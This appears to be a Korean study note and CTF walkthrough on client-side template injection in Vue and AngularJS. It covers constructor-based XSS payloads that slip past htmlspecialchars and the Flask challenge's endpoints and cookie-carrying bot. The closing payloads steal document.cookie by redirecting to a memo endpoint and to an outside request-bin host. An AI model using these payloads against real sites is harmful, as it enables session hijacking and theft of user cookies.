Vue관련 CSTI
<script src="<https://unpkg.com/vue@3>"></script>
<div id="app">{{message}}</div>
<script>
Vue.createApp({
data() {
return {
message: 'Hello Vue!'
}
}).mount('#app')
</script>{{ }} 같은 부분에 Vue 템플릿을 넣을 수 있다. 해당 부분에는 JS 표현식 혹은 문자열을 표시할 수 있다.
이를 통해서 Template Injection 혹은 XSS 취약점이 발생할 수 있다.
<script src="<https://unpkg.com/vue@3>"></script>
<div id="app">
<?php echo htmlspecialchars($_GET['msg']); ?>
</div>
<script>
Vue.createApp({
data() {
return {
message: 'Hello Vue!'
}
}).mount('#app')
</script>위 코드는 GET 메서드의 msg 파라미터를 그대로 출력한다. htmlspecialchars 함수를 통해서 모두 인코딩되기 때문에 일반적인 XSS는 불가능하다.
그럼 JS의 특징인 생성자를 이용한 점을 이용해서 XSS 공격이 가능해진다.
{{_Vue.h.constructor}} 를 이용해 접근할 수 있다.
/vue.php?msg={{_Vue.h.constructor("alert(1)")()}}
AngularJs관련 CSTI
<!doctype html>
<html>
<head>
<script src="<https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js>"></script>
</head>
<body>
<div>
<label>Name:</label>
<input type="text" ng-model="yourName" placeholder="Enter a name here">
<hr>
<h1>Hello {{yourName}}!</h1>
</div>
</body>
</html>{{ }} 이 부분이 AngularJS 템플릿 부분이다. 해당 부분에는 문자열 혹은 자바스크립트 표현식을 실행할 수 있다.
<!doctype html>
<html ng-app>
<head>
<script src="<https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js>"></script>
</head>
<body>
<?php echo htmlspecialchars($_GET['msg']); ?>
</body>
</html>msg 파라미터 그대로 출력된다. htmlspecialchars 함수를 통해 모두 인코딩된다. 따라서 일반적인 XSS는 불가능하다.
AngularJS 템플릿에서 {{ constructor.constructor }} 를 이용하여 임의 코드에 해당하는 함수를 생성, 호출 공격이 가능하다.
- {{ constructor.constructor(“alert(1)”)() }}

Client Side Template Injection 실습
- 문제 배경 : Client Side Template Injection의 목표는 CSP 때문에 정상적인 쿠키 탈취가 힘들 경우 Client Side Template Injection을 활용하여 XSS를 발생시키는 것이다.
| / | 인덱스 페이지 |
|---|---|
| /vuln | 이용자의 입력한 값을 출력 |
| /memo | 이용자가 메모를 남길 수 있고 작성한 메모를 출력 |
| /flag | URL에 임의 사용자가 접속하게끔 하는 FLAG가 존재하는 페이지 |
엔드포인트 : /vuln
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param-
이용자는
param파라미터를 통해서 값을 출력합니다.위 경우 아무 필터링 없이 그대로 출력하기 때문에 XSS 취약점이 발생하게 된다.
엔드포인트 : /memo
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)- 사용자는
memo파라미터 값을render_template함수를 통해 기록하고 출력이 가능하다.
엔드포인트 : /flag
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("<http://127.0.0.1:8000/>")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"<http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}>"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'-
GET
이용자에게 URL을 입력받는 페이지 제공한다.
-
POST
param파라미터에 값과 쿠키에 FLAG를 포함해 check_xss 함수를 호출한다.check_xss는 read_url 함수를 호출해
vuln엔드포인트에 접속한다.
payload 테스트
<script src="<https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js>"></script><html ng-app>{{ constructor.constructor("alert(1)")() }}</html>MEMO를 이용한 payload
<script src="<https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js>"></script><html ng-app>{{ constructor.constructor("location='memo?memo='%2Bdocument.cookie")() }}</html>dreamhacktools를 이용한 paylaod
<script src="<https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js>"></script><html ng-app>{{ constructor.constructor("location='<https://nnghwvd.request.dreamhack.games/?'+document.cookie>")() }}</html>